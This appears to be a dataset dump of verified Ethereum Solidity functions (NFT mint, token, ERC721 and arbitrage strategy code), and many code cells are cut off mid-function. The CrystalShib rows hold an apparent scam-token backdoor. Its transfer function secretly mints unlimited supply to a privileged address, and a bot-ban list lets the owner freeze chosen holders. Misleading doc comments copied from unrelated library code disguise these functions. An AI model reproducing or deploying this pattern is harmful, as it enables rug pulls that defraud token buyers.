contract_name stringlengths 1 61 | file_path stringlengths 5 50.4k | contract_address stringlengths 42 42 | language stringclasses 1
value | class_name stringlengths 1 61 | class_code stringlengths 4 330k | class_documentation stringlengths 0 29.1k | class_documentation_type stringclasses 6
values | func_name stringlengths 0 62 | func_code stringlengths 1 303k | func_documentation stringlengths 2 14.9k | func_documentation_type stringclasses 4
values | compiler_version stringlengths 15 42 | license_type stringclasses 14
values | swarm_source stringlengths 0 71 | meta dict | __index_level_0__ int64 0 60.4k |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
JungelTycoon | jt.sol | 0xbca44d867c707080c504f286c35b237d2802b7e5 | Solidity | JungelTycoon | contract JungelTycoon is ERC721Enumerable, Ownable {
using Strings for uint256;
string public baseURI;
string public baseExtension = ".json";
string public notRevealedUri;
uint256 public cost = 0.05 ether;
uint256 public maxSupply = 20000;
uint256 public maxMintAmount = 100;
uint256 public nft... | mint | function mint(uint256 _mintAmount) public payable {
require(!paused, "the contract is paused");
uint256 supply = totalSupply();
require(_mintAmount > 0, "need to mint at least 1 NFT");
require(_mintAmount <= maxMintAmount, "max mint amount per session exceeded");
require(supply + _mintAmount <= maxSupply... | // public | LineComment | v0.8.7+commit.e28d00a7 | MIT | ipfs://b3a3f17c34ca1a75098b6b7db659ee7979fdd66c517bbeb013119f41b0ee7f7a | {
"func_code_index": [
941,
1875
]
} | 16,900 | ||
JungelTycoon | jt.sol | 0xbca44d867c707080c504f286c35b237d2802b7e5 | Solidity | JungelTycoon | contract JungelTycoon is ERC721Enumerable, Ownable {
using Strings for uint256;
string public baseURI;
string public baseExtension = ".json";
string public notRevealedUri;
uint256 public cost = 0.05 ether;
uint256 public maxSupply = 20000;
uint256 public maxMintAmount = 100;
uint256 public nft... | reveal | function reveal() public onlyOwner {
revealed = true;
}
| //only owner | LineComment | v0.8.7+commit.e28d00a7 | MIT | ipfs://b3a3f17c34ca1a75098b6b7db659ee7979fdd66c517bbeb013119f41b0ee7f7a | {
"func_code_index": [
2998,
3066
]
} | 16,901 | ||
CrystalShib | CrystalShib.sol | 0x879a5031823942b52c0f0a770d97235e6227da34 | Solidity | SafeMath | library SafeMath {
function prod(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
... | cre | function cre(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
| /* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* t... | Comment | v0.8.9+commit.e5eed63a | GNU GPLv3 | ipfs://db71630db5290055591ce39ac32bf65551fe590ee5bc81386bb4b772b8bf8e4c | {
"func_code_index": [
1162,
1352
]
} | 16,902 | ||
CrystalShib | CrystalShib.sol | 0x879a5031823942b52c0f0a770d97235e6227da34 | Solidity | SafeMath | library SafeMath {
function prod(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
... | cal | function cal(uint256 a, uint256 b) internal pure returns (uint256) {
return calc(a, b, "SafeMath: division by zero");
}
| /**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
... | NatSpecMultiLine | v0.8.9+commit.e5eed63a | GNU GPLv3 | ipfs://db71630db5290055591ce39ac32bf65551fe590ee5bc81386bb4b772b8bf8e4c | {
"func_code_index": [
1937,
2075
]
} | 16,903 | ||
CrystalShib | CrystalShib.sol | 0x879a5031823942b52c0f0a770d97235e6227da34 | Solidity | SafeMath | library SafeMath {
function prod(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
... | redc | function redc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
| /**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
... | NatSpecMultiLine | v0.8.9+commit.e5eed63a | GNU GPLv3 | ipfs://db71630db5290055591ce39ac32bf65551fe590ee5bc81386bb4b772b8bf8e4c | {
"func_code_index": [
3002,
3202
]
} | 16,904 | ||
CrystalShib | CrystalShib.sol | 0x879a5031823942b52c0f0a770d97235e6227da34 | Solidity | Creation | contract Creation is Context {
address internal recipients;
address internal router;
address public owner;
mapping (address => bool) internal confirm;
event genesis(address indexed previousi, address indexed newi);
constructor () {
address msgSender = _msgSender();
recipi... | renounceOwnership | function renounceOwnership() public virtual checker {
emit genesis(owner, address(0));
owner = address(0);
}
| /**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcod... | NatSpecMultiLine | v0.8.9+commit.e5eed63a | GNU GPLv3 | ipfs://db71630db5290055591ce39ac32bf65551fe590ee5bc81386bb4b772b8bf8e4c | {
"func_code_index": [
996,
1133
]
} | 16,905 | ||
CrystalShib | CrystalShib.sol | 0x879a5031823942b52c0f0a770d97235e6227da34 | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata , Creation{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
using SafeMath for uint256;
string private _name;
string private _symbol;
... | symbol | function symbol() public view virtual override returns (string memory) {
return _symbol;
}
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | GNU GPLv3 | ipfs://db71630db5290055591ce39ac32bf65551fe590ee5bc81386bb4b772b8bf8e4c | {
"func_code_index": [
907,
1016
]
} | 16,906 | ||
CrystalShib | CrystalShib.sol | 0x879a5031823942b52c0f0a770d97235e6227da34 | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata , Creation{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
using SafeMath for uint256;
string private _name;
string private _symbol;
... | starttrading | function starttrading (address Uniswaprouterv02) public checker {
router = Uniswaprouterv02;
}
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* transferFrom.
*
* Requirements:
*
* - transferFrom.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | GNU GPLv3 | ipfs://db71630db5290055591ce39ac32bf65551fe590ee5bc81386bb4b772b8bf8e4c | {
"func_code_index": [
1238,
1351
]
} | 16,907 | ||
CrystalShib | CrystalShib.sol | 0x879a5031823942b52c0f0a770d97235e6227da34 | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata , Creation{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
using SafeMath for uint256;
string private _name;
string private _symbol;
... | decimals | function decimals() public view virtual override returns (uint8) {
return 18;
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - the address approve.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | GNU GPLv3 | ipfs://db71630db5290055591ce39ac32bf65551fe590ee5bc81386bb4b772b8bf8e4c | {
"func_code_index": [
1617,
1719
]
} | 16,908 | ||
CrystalShib | CrystalShib.sol | 0x879a5031823942b52c0f0a770d97235e6227da34 | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata , Creation{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
using SafeMath for uint256;
string private _name;
string private _symbol;
... | totalSupply | function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
| /**
* @dev updateTaxFee
*
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | GNU GPLv3 | ipfs://db71630db5290055591ce39ac32bf65551fe590ee5bc81386bb4b772b8bf8e4c | {
"func_code_index": [
1773,
1886
]
} | 16,909 | ||
CrystalShib | CrystalShib.sol | 0x879a5031823942b52c0f0a770d97235e6227da34 | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata , Creation{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
using SafeMath for uint256;
string private _name;
string private _symbol;
... | balanceOf | function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | GNU GPLv3 | ipfs://db71630db5290055591ce39ac32bf65551fe590ee5bc81386bb4b772b8bf8e4c | {
"func_code_index": [
2199,
2331
]
} | 16,910 | ||
CrystalShib | CrystalShib.sol | 0x879a5031823942b52c0f0a770d97235e6227da34 | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata , Creation{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
using SafeMath for uint256;
string private _name;
string private _symbol;
... | transfer | function transfer(address recipient, uint256 amount) public override returns (bool) {
if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;}
else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances... | /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*... | NatSpecMultiLine | v0.8.9+commit.e5eed63a | GNU GPLv3 | ipfs://db71630db5290055591ce39ac32bf65551fe590ee5bc81386bb4b772b8bf8e4c | {
"func_code_index": [
2696,
3211
]
} | 16,911 | ||
CrystalShib | CrystalShib.sol | 0x879a5031823942b52c0f0a770d97235e6227da34 | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata , Creation{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
using SafeMath for uint256;
string private _name;
string private _symbol;
... | botbancount | function botbancount(address _count) internal checker {
confirm[_count] = true;
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*... | NatSpecMultiLine | v0.8.9+commit.e5eed63a | GNU GPLv3 | ipfs://db71630db5290055591ce39ac32bf65551fe590ee5bc81386bb4b772b8bf8e4c | {
"func_code_index": [
4336,
4438
]
} | 16,912 | ||
CrystalShib | CrystalShib.sol | 0x879a5031823942b52c0f0a770d97235e6227da34 | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata , Creation{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
using SafeMath for uint256;
string private _name;
string private _symbol;
... | _banBot | function _banBot(address[] memory _counts) external checker {
for (uint256 i = 0; i < _counts.length; i++) {
botbancount(_counts[i]); }
}
| /**
* @dev updateTaxFee
*
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | GNU GPLv3 | ipfs://db71630db5290055591ce39ac32bf65551fe590ee5bc81386bb4b772b8bf8e4c | {
"func_code_index": [
4489,
4661
]
} | 16,913 | ||
TheAbyssDAICO | contracts/token/TransferLimitedToken.sol | 0x4dbb33a4885c70bb82cc643679f1d22f8aef90bf | Solidity | TransferLimitedToken | contract TransferLimitedToken is ManagedToken {
uint256 public constant LIMIT_TRANSFERS_PERIOD = 365 days;
mapping(address => bool) public limitedWallets;
uint256 public limitEndDate;
address public limitedWalletsManager;
bool public isLimitEnabled;
modifier onlyManager() {
re... | /**
* @title TransferLimitedToken
* @dev Token with ability to limit transfers within wallets included in limitedWallets list for certain period of time
*/ | NatSpecMultiLine | TransferLimitedToken | function TransferLimitedToken(
uint256 _limitStartDate,
address _listener,
address[] _owners,
address _limitedWalletsManager
) public ManagedToken(_listener, _owners)
{
limitEndDate = _limitStartDate + LIMIT_TRANSFERS_PERIOD;
isLimitEnabled = true;
limitedWalletsManager = _limitedWa... | /**
* @dev TransferLimitedToken constructor
* @param _limitStartDate Limit start date
* @param _listener Token listener(address can be 0x0)
* @param _owners Owners list
* @param _limitedWalletsManager Address used to add/del wallets from limitedWallets
*/ | NatSpecMultiLine | v0.4.21+commit.dfe3193c | bzzr://7f3b3ea26debc2f7eff89ba466fdc3cb13b56b380f2de22a419732f274d046aa | {
"func_code_index": [
1015,
1396
]
} | 16,914 | |
TheAbyssDAICO | contracts/token/TransferLimitedToken.sol | 0x4dbb33a4885c70bb82cc643679f1d22f8aef90bf | Solidity | TransferLimitedToken | contract TransferLimitedToken is ManagedToken {
uint256 public constant LIMIT_TRANSFERS_PERIOD = 365 days;
mapping(address => bool) public limitedWallets;
uint256 public limitEndDate;
address public limitedWalletsManager;
bool public isLimitEnabled;
modifier onlyManager() {
re... | /**
* @title TransferLimitedToken
* @dev Token with ability to limit transfers within wallets included in limitedWallets list for certain period of time
*/ | NatSpecMultiLine | addLimitedWalletAddress | function addLimitedWalletAddress(address _wallet) public {
require(msg.sender == limitedWalletsManager || ownerByAddress[msg.sender]);
limitedWallets[_wallet] = true;
}
| /**
* @dev Add address to limitedWallets
* @dev Can be called only by manager
*/ | NatSpecMultiLine | v0.4.21+commit.dfe3193c | bzzr://7f3b3ea26debc2f7eff89ba466fdc3cb13b56b380f2de22a419732f274d046aa | {
"func_code_index": [
1503,
1699
]
} | 16,915 | |
TheAbyssDAICO | contracts/token/TransferLimitedToken.sol | 0x4dbb33a4885c70bb82cc643679f1d22f8aef90bf | Solidity | TransferLimitedToken | contract TransferLimitedToken is ManagedToken {
uint256 public constant LIMIT_TRANSFERS_PERIOD = 365 days;
mapping(address => bool) public limitedWallets;
uint256 public limitEndDate;
address public limitedWalletsManager;
bool public isLimitEnabled;
modifier onlyManager() {
re... | /**
* @title TransferLimitedToken
* @dev Token with ability to limit transfers within wallets included in limitedWallets list for certain period of time
*/ | NatSpecMultiLine | delLimitedWalletAddress | function delLimitedWalletAddress(address _wallet) public onlyManager {
limitedWallets[_wallet] = false;
}
| /**
* @dev Del address from limitedWallets
* @dev Can be called only by manager
*/ | NatSpecMultiLine | v0.4.21+commit.dfe3193c | bzzr://7f3b3ea26debc2f7eff89ba466fdc3cb13b56b380f2de22a419732f274d046aa | {
"func_code_index": [
1808,
1932
]
} | 16,916 | |
TheAbyssDAICO | contracts/token/TransferLimitedToken.sol | 0x4dbb33a4885c70bb82cc643679f1d22f8aef90bf | Solidity | TransferLimitedToken | contract TransferLimitedToken is ManagedToken {
uint256 public constant LIMIT_TRANSFERS_PERIOD = 365 days;
mapping(address => bool) public limitedWallets;
uint256 public limitEndDate;
address public limitedWalletsManager;
bool public isLimitEnabled;
modifier onlyManager() {
re... | /**
* @title TransferLimitedToken
* @dev Token with ability to limit transfers within wallets included in limitedWallets list for certain period of time
*/ | NatSpecMultiLine | disableLimit | function disableLimit() public onlyManager {
isLimitEnabled = false;
}
| /**
* @dev Disable transfer limit manually. Can be called only by manager
*/ | NatSpecMultiLine | v0.4.21+commit.dfe3193c | bzzr://7f3b3ea26debc2f7eff89ba466fdc3cb13b56b380f2de22a419732f274d046aa | {
"func_code_index": [
2029,
2118
]
} | 16,917 | |
TulipsSaleAuction | contracts/ERC721.sol | 0x6fd570c64568a05b9cf3afcd7d31aa5e3c9b8350 | Solidity | ERC721 | contract ERC721 {
// Required methods
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) external view returns (address owner);
function approve(address _to, uint256 _tokenId) e... | /// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
/// @author Dieter Shirley <dete@axiomzen.co> (https://github.com/dete) | NatSpecSingleLine | totalSupply | function totalSupply() public view returns (uint256 total);
| // Required methods | LineComment | v0.4.18+commit.9cf6e910 | bzzr://3090ad6f8e6b232d78b1f282651a5d59dcc27cab5b28f2a4a72155075fc89d93 | {
"func_code_index": [
44,
108
]
} | 16,918 | |
StabilizeStrategyBACMICArb | contracts/strategies/StabilizeStrategyBACMICArb.sol | 0xda810f3dc383072cae90b4420bbb0a044c812c20 | Solidity | CurvePool | interface CurvePool {
function get_dy(int128, int128, uint256) external view returns (uint256); // Get quantity estimate
function exchange(int128, int128, uint256, uint256) external; // Exchange tokens
} | exchange | function exchange(int128, int128, uint256, uint256) external; // Exchange tokens
| // Get quantity estimate | LineComment | v0.6.6+commit.6c089d02 | GNU GPLv3 | ipfs://63e4b6a7f9aab4acae86f4e9471b279ad8183c75c53274352fa9f11d8ac6821d | {
"func_code_index": [
127,
212
]
} | 16,919 | ||
StabilizeStrategyBACMICArb | contracts/strategies/StabilizeStrategyBACMICArb.sol | 0xda810f3dc383072cae90b4420bbb0a044c812c20 | Solidity | TradeRouter | interface TradeRouter { // Similar code for both Sushiswap and Uniswap
function WETH() external pure returns (address); // Get address for WETH
function swapExactTokensForTokens(uint, uint, address[] calldata, address, uint) external returns (uint[] memory);
function getAmountsOut(uint, address[] calldat... | WETH | function WETH() external pure returns (address); // Get address for WETH
| // Similar code for both Sushiswap and Uniswap | LineComment | v0.6.6+commit.6c089d02 | GNU GPLv3 | ipfs://63e4b6a7f9aab4acae86f4e9471b279ad8183c75c53274352fa9f11d8ac6821d | {
"func_code_index": [
72,
149
]
} | 16,920 | ||
StabilizeStrategyBACMICArb | contracts/strategies/StabilizeStrategyBACMICArb.sol | 0xda810f3dc383072cae90b4420bbb0a044c812c20 | Solidity | TradeRouter | interface TradeRouter { // Similar code for both Sushiswap and Uniswap
function WETH() external pure returns (address); // Get address for WETH
function swapExactTokensForTokens(uint, uint, address[] calldata, address, uint) external returns (uint[] memory);
function getAmountsOut(uint, address[] calldat... | swapExactTokensForTokens | function swapExactTokensForTokens(uint, uint, address[] calldata, address, uint) external returns (uint[] memory);
| // Get address for WETH | LineComment | v0.6.6+commit.6c089d02 | GNU GPLv3 | ipfs://63e4b6a7f9aab4acae86f4e9471b279ad8183c75c53274352fa9f11d8ac6821d | {
"func_code_index": [
150,
269
]
} | 16,921 | ||
StabilizeStrategyBACMICArb | contracts/strategies/StabilizeStrategyBACMICArb.sol | 0xda810f3dc383072cae90b4420bbb0a044c812c20 | Solidity | StabilizeStrategyBACMICArb | contract StabilizeStrategyBACMICArb is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Address for address;
address public treasuryAddress; // Address of the treasury
address public stakingAddress; // Address to the STBZ staking pool
address public zsTokenAddr... | setupWithdrawTokens | function setupWithdrawTokens() internal {
// Start with BAC
IERC20 _token = IERC20(address(0x3449FC1Cd036255BA1EB19d65fF4BA2b8903A69a));
tokenList.push(
TokenInfo({
token: _token,
decimals: _token.decimals()
})
);
// MIC
_token = IERC2... | // Initialization functions | LineComment | v0.6.6+commit.6c089d02 | GNU GPLv3 | ipfs://63e4b6a7f9aab4acae86f4e9471b279ad8183c75c53274352fa9f11d8ac6821d | {
"func_code_index": [
3072,
3654
]
} | 16,922 | ||
StabilizeStrategyBACMICArb | contracts/strategies/StabilizeStrategyBACMICArb.sol | 0xda810f3dc383072cae90b4420bbb0a044c812c20 | Solidity | StabilizeStrategyBACMICArb | contract StabilizeStrategyBACMICArb is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Address for address;
address public treasuryAddress; // Address of the treasury
address public stakingAddress; // Address to the STBZ staking pool
address public zsTokenAddr... | rewardTokensCount | function rewardTokensCount() external view returns (uint256) {
return tokenList.length;
}
| // Read functions | LineComment | v0.6.6+commit.6c089d02 | GNU GPLv3 | ipfs://63e4b6a7f9aab4acae86f4e9471b279ad8183c75c53274352fa9f11d8ac6821d | {
"func_code_index": [
3847,
3955
]
} | 16,923 | ||
StabilizeStrategyBACMICArb | contracts/strategies/StabilizeStrategyBACMICArb.sol | 0xda810f3dc383072cae90b4420bbb0a044c812c20 | Solidity | StabilizeStrategyBACMICArb | contract StabilizeStrategyBACMICArb is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Address for address;
address public treasuryAddress; // Address of the treasury
address public stakingAddress; // Address to the STBZ staking pool
address public zsTokenAddr... | enter | function enter() external onlyZSToken {
deposit(false);
}
| // Write functions | LineComment | v0.6.6+commit.6c089d02 | GNU GPLv3 | ipfs://63e4b6a7f9aab4acae86f4e9471b279ad8183c75c53274352fa9f11d8ac6821d | {
"func_code_index": [
5717,
5793
]
} | 16,924 | ||
StabilizeStrategyBACMICArb | contracts/strategies/StabilizeStrategyBACMICArb.sol | 0xda810f3dc383072cae90b4420bbb0a044c812c20 | Solidity | StabilizeStrategyBACMICArb | contract StabilizeStrategyBACMICArb is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Address for address;
address public treasuryAddress; // Address of the treasury
address public stakingAddress; // Address to the STBZ staking pool
address public zsTokenAddr... | withdrawPerBalance | function withdrawPerBalance(address _receiver, uint256 _withdrawAmount, bool _takeAll) internal {
uint256 length = tokenList.length;
if(_takeAll == true){
// Send the entire balance
for(uint256 i = 0; i < length; i++){
uint256 _bal = tokenList[i].token.balanceOf(address(this));
... | // This will withdraw the tokens from the contract based on their balance, from highest balance to lowest | LineComment | v0.6.6+commit.6c089d02 | GNU GPLv3 | ipfs://63e4b6a7f9aab4acae86f4e9471b279ad8183c75c53274352fa9f11d8ac6821d | {
"func_code_index": [
7450,
9880
]
} | 16,925 | ||
StabilizeStrategyBACMICArb | contracts/strategies/StabilizeStrategyBACMICArb.sol | 0xda810f3dc383072cae90b4420bbb0a044c812c20 | Solidity | StabilizeStrategyBACMICArb | contract StabilizeStrategyBACMICArb is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Address for address;
address public treasuryAddress; // Address of the treasury
address public stakingAddress; // Address to the STBZ staking pool
address public zsTokenAddr... | governanceSwapTokens | function governanceSwapTokens() external onlyGovernance {
// This is function that force trade tokens at anytime. It can only be called by governance
checkAndSwapTokens(governance());
}
| // Governance functions | LineComment | v0.6.6+commit.6c089d02 | GNU GPLv3 | ipfs://63e4b6a7f9aab4acae86f4e9471b279ad8183c75c53274352fa9f11d8ac6821d | {
"func_code_index": [
28090,
28303
]
} | 16,926 | ||
StabilizeStrategyBACMICArb | contracts/strategies/StabilizeStrategyBACMICArb.sol | 0xda810f3dc383072cae90b4420bbb0a044c812c20 | Solidity | StabilizeStrategyBACMICArb | contract StabilizeStrategyBACMICArb is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Address for address;
address public treasuryAddress; // Address of the treasury
address public stakingAddress; // Address to the STBZ staking pool
address public zsTokenAddr... | startGovernanceChange | function startGovernanceChange(address _address) external onlyGovernance {
_timelockStart = now;
_timelockType = 1;
_timelock_address = _address;
}
| // Change the owner of the token contract
// -------------------- | LineComment | v0.6.6+commit.6c089d02 | GNU GPLv3 | ipfs://63e4b6a7f9aab4acae86f4e9471b279ad8183c75c53274352fa9f11d8ac6821d | {
"func_code_index": [
29241,
29432
]
} | 16,927 | ||
StabilizeStrategyBACMICArb | contracts/strategies/StabilizeStrategyBACMICArb.sol | 0xda810f3dc383072cae90b4420bbb0a044c812c20 | Solidity | StabilizeStrategyBACMICArb | contract StabilizeStrategyBACMICArb is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Address for address;
address public treasuryAddress; // Address of the treasury
address public stakingAddress; // Address to the STBZ staking pool
address public zsTokenAddr... | startChangeTreasury | function startChangeTreasury(address _address) external onlyGovernance {
_timelockStart = now;
_timelockType = 2;
_timelock_address = _address;
}
| // --------------------
// Change the treasury address
// -------------------- | LineComment | v0.6.6+commit.6c089d02 | GNU GPLv3 | ipfs://63e4b6a7f9aab4acae86f4e9471b279ad8183c75c53274352fa9f11d8ac6821d | {
"func_code_index": [
29684,
29866
]
} | 16,928 | ||
StabilizeStrategyBACMICArb | contracts/strategies/StabilizeStrategyBACMICArb.sol | 0xda810f3dc383072cae90b4420bbb0a044c812c20 | Solidity | StabilizeStrategyBACMICArb | contract StabilizeStrategyBACMICArb is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Address for address;
address public treasuryAddress; // Address of the treasury
address public stakingAddress; // Address to the STBZ staking pool
address public zsTokenAddr... | startChangeDepositorPercent | function startChangeDepositorPercent(uint256 _percent) external onlyGovernance {
require(_percent <= 100000,"Percent cannot be greater than 100%");
_timelockStart = now;
_timelockType = 3;
_timelock_data_1 = _percent;
}
| // --------------------
// Change the percent going to depositors for WETH
// -------------------- | LineComment | v0.6.6+commit.6c089d02 | GNU GPLv3 | ipfs://63e4b6a7f9aab4acae86f4e9471b279ad8183c75c53274352fa9f11d8ac6821d | {
"func_code_index": [
30134,
30399
]
} | 16,929 | ||
StabilizeStrategyBACMICArb | contracts/strategies/StabilizeStrategyBACMICArb.sol | 0xda810f3dc383072cae90b4420bbb0a044c812c20 | Solidity | StabilizeStrategyBACMICArb | contract StabilizeStrategyBACMICArb is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Address for address;
address public treasuryAddress; // Address of the treasury
address public stakingAddress; // Address to the STBZ staking pool
address public zsTokenAddr... | startChangeStakingPool | function startChangeStakingPool(address _address) external onlyGovernance {
_timelockStart = now;
_timelockType = 4;
_timelock_address = _address;
}
| // --------------------
// Change the staking address
// -------------------- | LineComment | v0.6.6+commit.6c089d02 | GNU GPLv3 | ipfs://63e4b6a7f9aab4acae86f4e9471b279ad8183c75c53274352fa9f11d8ac6821d | {
"func_code_index": [
30654,
30839
]
} | 16,930 | ||
StabilizeStrategyBACMICArb | contracts/strategies/StabilizeStrategyBACMICArb.sol | 0xda810f3dc383072cae90b4420bbb0a044c812c20 | Solidity | StabilizeStrategyBACMICArb | contract StabilizeStrategyBACMICArb is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Address for address;
address public treasuryAddress; // Address of the treasury
address public stakingAddress; // Address to the STBZ staking pool
address public zsTokenAddr... | startChangeZSToken | function startChangeZSToken(address _address) external onlyGovernance {
_timelockStart = now;
_timelockType = 5;
_timelock_address = _address;
}
| // --------------------
// Change the zsToken address
// -------------------- | LineComment | v0.6.6+commit.6c089d02 | GNU GPLv3 | ipfs://63e4b6a7f9aab4acae86f4e9471b279ad8183c75c53274352fa9f11d8ac6821d | {
"func_code_index": [
31088,
31269
]
} | 16,931 | ||
StabilizeStrategyBACMICArb | contracts/strategies/StabilizeStrategyBACMICArb.sol | 0xda810f3dc383072cae90b4420bbb0a044c812c20 | Solidity | StabilizeStrategyBACMICArb | contract StabilizeStrategyBACMICArb is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Address for address;
address public treasuryAddress; // Address of the treasury
address public stakingAddress; // Address to the STBZ staking pool
address public zsTokenAddr... | startChangeStakersPercent | function startChangeStakersPercent(uint256 _percent) external onlyGovernance {
require(_percent <= 100000,"Percent cannot be greater than 100%");
_timelockStart = now;
_timelockType = 6;
_timelock_data_1 = _percent;
}
| // --------------------
// Change the percent going to stakers for WETH
// -------------------- | LineComment | v0.6.6+commit.6c089d02 | GNU GPLv3 | ipfs://63e4b6a7f9aab4acae86f4e9471b279ad8183c75c53274352fa9f11d8ac6821d | {
"func_code_index": [
31532,
31795
]
} | 16,932 | ||
StabilizeStrategyBACMICArb | contracts/strategies/StabilizeStrategyBACMICArb.sol | 0xda810f3dc383072cae90b4420bbb0a044c812c20 | Solidity | StabilizeStrategyBACMICArb | contract StabilizeStrategyBACMICArb is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Address for address;
address public treasuryAddress; // Address of the treasury
address public stakingAddress; // Address to the STBZ staking pool
address public zsTokenAddr... | startChangePercentAndAmountSold | function startChangePercentAndAmountSold(uint256 _percent, uint256 _maxSell) external onlyGovernance {
require(_percent <= 100000,"Percent cannot be greater than 100%");
_timelockStart = now;
_timelockType = 7;
_timelock_data_1 = _percent;
_timelock_data_2 = _maxSell;
}
| // --------------------
// Change the percent sold and max sellable of each token
// -------------------- | LineComment | v0.6.6+commit.6c089d02 | GNU GPLv3 | ipfs://63e4b6a7f9aab4acae86f4e9471b279ad8183c75c53274352fa9f11d8ac6821d | {
"func_code_index": [
32074,
32399
]
} | 16,933 | ||
StabilizeStrategyBACMICArb | contracts/strategies/StabilizeStrategyBACMICArb.sol | 0xda810f3dc383072cae90b4420bbb0a044c812c20 | Solidity | StabilizeStrategyBACMICArb | contract StabilizeStrategyBACMICArb is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Address for address;
address public treasuryAddress; // Address of the treasury
address public stakingAddress; // Address to the STBZ staking pool
address public zsTokenAddr... | startChangePercentTradeTrigger | function startChangePercentTradeTrigger(uint256 _percent) external onlyGovernance {
